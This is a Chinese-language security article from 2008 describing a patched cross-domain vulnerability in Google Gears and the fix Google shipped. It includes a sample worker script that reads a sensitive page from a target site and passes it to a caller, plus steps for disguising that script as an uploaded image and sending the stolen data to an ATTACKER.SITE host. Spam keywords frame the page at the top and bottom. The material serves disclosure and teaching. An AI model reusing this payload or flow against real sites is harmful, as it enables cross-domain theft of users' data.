国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

入侵Google Gears的跨域通信模型
2008-12-17   

Google Gears是一個開源產品,它能夠開發用于離線使用的網頁應用程序。目前,它已經得到許多站點的支持。Google Gears的特色之一是支持跨域通信,而本文則向讀者介紹針對Google Gears的跨域通信模型的一個漏洞的攻擊方法。

一、關于Google Gears

Google Gears是一個著名的RIA基礎設施,被Google廣泛用于各種服務,如Google Docs和Google Reader,同時還可以用于非Google提供的服務,如MySpace、Zoho Writer以及WordPress。Gears實際上是一個瀏覽器擴展,使得開發人員可以用來提供更豐富的網絡應用程序,并提高網絡應用程序的響應速度。Gears的關鍵特性之一是能夠透明地創建既可以在線使用又可以離線使用的網絡應用程序。
此外,Gears還具有以下特性:

以上說明引自Google Gears的官方文檔。實際上,Gears最妙的地方之一在于對它的使用方式,即可以通過在網絡應用程序的HTML代碼中插入JavaScript來調用Gears的應用程序接口。因此,Gears的獨特之處在于它可以很輕松平滑地集成到現有的網絡應用程序之中。對于Google Gears詳盡的解釋以及用法范例,可以參考Google Gears網站的“如何入門?”。

就像其它的RIA基礎設施一樣,Google Gears也為開發人員提高了跨域通信能力。這些能力對于開發人員來說是非常重要的,因為能夠使得他們在實現mashup及其他所希望的特性時變得更加輕松。然而,跨域通信對于安全性來說則有一些不利影響。一個粗劣實現可能導致攻擊者得以突破同源策略,并導致大規模的攻擊事件。所以,這種漏洞會導致災難性的后果。
不久之前,人們發現Google Gears的跨域通信安全模型還不夠堅固,因為在某些情況下可以輕而易舉地繞過此安全模型。好在Google已經對此進行了改進,所以將此漏洞暴露出來也不算為過了。

二、Gears的跨域通信的實現

讓我們假定,我們是web開發人員,并且在http://Some.Site/建立了一個網頁,該頁面會收集用戶在http://Another.Site/上的經認證的會話中收集有關信息。這些事情,完全可以通過Google Gears的WorkerPool應用程序接口來完成。你只要利用createWorkerFromUrl(scriptUrl)方法加載一個Google Gears“工作人員”就行了。所謂Google Gears“工作人員”實際上就是一段JavaScript代碼,用于訪問Google Gears提供的功能部件,如本地服務器、Http通信以及數據庫等。

Google Gears的“工作人員”可以從遠程域載入,但是必須首先調用allowCrossOrigin()方法。這個可以看作是一項安全措施,用來防范在未授權的情況下遠程加載“工作人員”。如果一個工作人員是從不同的域創建的,那么google.gears.factory的所有方法都不得用于該工作人員,直到allowCrossOrigin()被調用為止。這可以防止跨站點腳本攻擊,該攻擊可以讓攻擊者從另一個域裝入工作人員的URL,然后向那個工作人員發送惡意消息,如“delete-all-data”等。調用allowCrossOrigin()方法的工作人員應該對messageObject.origin進行檢查,并忽略所有來自非預期域的消息。

下面的描述引自Google Gears的官方文檔:

如果一個工作人員是從不同的域創建的,那么google.gears.factory的所有方法都不得用于該工作人員,直到allowCrossOrigin()被調用為止。

這可以防止跨站點腳本攻擊,該攻擊可以讓攻擊者從另一個域裝入工作人員的URL,然后向那個工作人員發送惡意消息,如“delete-all-data”等。

調用allowCrossOrigin()方法的工作人員應該對messageObject.origin進行檢查,并忽略所有來自非預期域的消息。

三、問題所在

乍一看,這個保護措施似乎是無懈可擊的。然而,人們在試用該基礎設施的時候發現,Google Gears工作人員的加載器具有一個相當混亂的策略:它竟然對所加載的Gears工作人員文件的報頭視而不見!這實際上是為惡意攻擊開了一扇后窗,使得攻擊者能夠借此在目標網站上植入惡意的Gears工作人員代碼。例如,可以上載具有圖像后綴的文件,而實際上文件中包含的卻是Gears工作人員代碼。稍后,Google Gears工作人員加載器會從其他Domain的執行上下文中加載這些文件,而web服務器卻將其作為圖像文件對待!

因此,攻擊者可以籍此規避甚至破壞包含用戶的內容的站點(論壇、web郵件、社交網絡,等等)的安全限制。事實上,就連那些非常著名的服務也很容易受到上面所說的方法的攻擊。此外,由于Gears工作人員代碼中沒有包含具體的“危險”字符,所以使得各站點難以防御如下所示的基于Google Gears的跨域訪問攻擊。

Google Gears工作人員代碼舉例如下:

var wp = google.gears.workerPool;
wp.allowCrossOrigin();
wp.onmessage = function(a, b, message) {
var request = google.gears.factory.create('beta.httprequest');
request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');

request.onreadystatechange = function() {
if (request.readyState == 4) {
wp.sendMessage("The response was: " +
request.responseText, message.sender);
}
};
request.send();
}

上述腳本用于從http://TARGET.SITE抓取信息,并利用Google Gears的內建的通信應用程序接口將捕獲的信息傳遞給該腳本的遠程調用者。

四、攻擊流程

⒈ 攻擊者創建一個包含惡意的Google Gears命令的文本文件,這些命令可以用來訪問數據庫、使用HttpRequest模塊等等。

⒉ 攻擊者設法將文本內容植入目標域,例如 http://TARGET.SITE/Upload/innocent.jpg。 Gears的“工作人員”代碼并沒有包含可疑的字符,如〈、〉等等。因此,它被http://TARGET.SITE服務器端過濾掉的可能性不大。

⒊ 攻擊者創建一個http://ATTACKER.SITE/attack.html頁面,其中存放有一些Google Gears代碼,這些代碼將用于加載并執行http://TARGET.SITE/Upload/innocent.jpg

⒋ 在本例中,嵌入到innocent.jpg中的代碼會在http://TARGET.SITE 的上下文中加以執行。因此,它有權訪問Google Gears的客戶端對象,諸如數據庫、本地服務器數據以及各種web資源。為此,它可以使用Google Gears內置的HttpRequest模塊來達此目的。

⒌ 在前面收集的所有信息可以很輕松地利用Google Gears的標準通信機制反饋給http://ATTACKER.SITE

需要注意的是,雖然http://ATTACKER.SITE必須使用Google Gears,但是http://TARGET.SITE卻可以是任意寄放有用戶創建的內容的站點,而根本不必使用Google Gears。

五、修補措施

目前,Google Gears新發布的版本已經修補了上述漏洞。具體的修補方法是,為Googl Gears設置一個專門的內容類型報頭值(application/x-gears-worker),當web服務器提供Googl Gears工作人員代碼文件時必須發送該值。 如果沒有該值,就會拒絕加載該工作人員文件。

雖然這個解決方案看上去很不錯,但是卻面臨輕微的向后兼容性問題。使用Google Gears的Web開發人員應當意識到,這個修補方案要求他們做一些相應的修改,例如為提供Google Gears工作人員的Web服務器中創建一個專門的規則,等等。要了解關于上面描述的新的安全限制的更多信息,請參考Googl Gears的跨域工作人員的相關文檔。

六、小結

Google Gears是一個開源產品,它能夠開發用于離線使用的網頁應用程序。目前,它已經得到許多站點的支持。Google Gears的特色之一是支持跨域通信,而本文則向讀者介紹針對Google Gears的跨域通信模型的一個漏洞的攻擊方法,Google Gears安全小組提供的解決方案。在修補該漏洞的過程中,Google Gears安全小組對于該問題的迅速響應以及提供的有效處理方法給人們留下了深刻的印象。


熱詞搜索:

上一篇:攻防實戰:深入剖析最新IE7.0 0day漏洞利用代碼(1)
下一篇:利用Flash參數注入的新型攻擊技術(1)

分享到: 收藏
主站蜘蛛池模板: 建宁县| 麦盖提县| 措勤县| 闸北区| 金平| 察雅县| 仙游县| 吉木乃县| 嫩江县| 诏安县| 额济纳旗| 郎溪县| 瑞丽市| 临湘市| 济阳县| 洛隆县| 靖江市| 萨迦县| 阿勒泰市| 商河县| 宁安市| 龙州县| 宕昌县| 普洱| 南宫市| 静海县| 尼木县| 许昌市| 炎陵县| 武义县| 邓州市| 黄大仙区| 康乐县| 林西县| 军事| 孙吴县| 老河口市| 民乐县| 精河县| 呼玛县| 民勤县|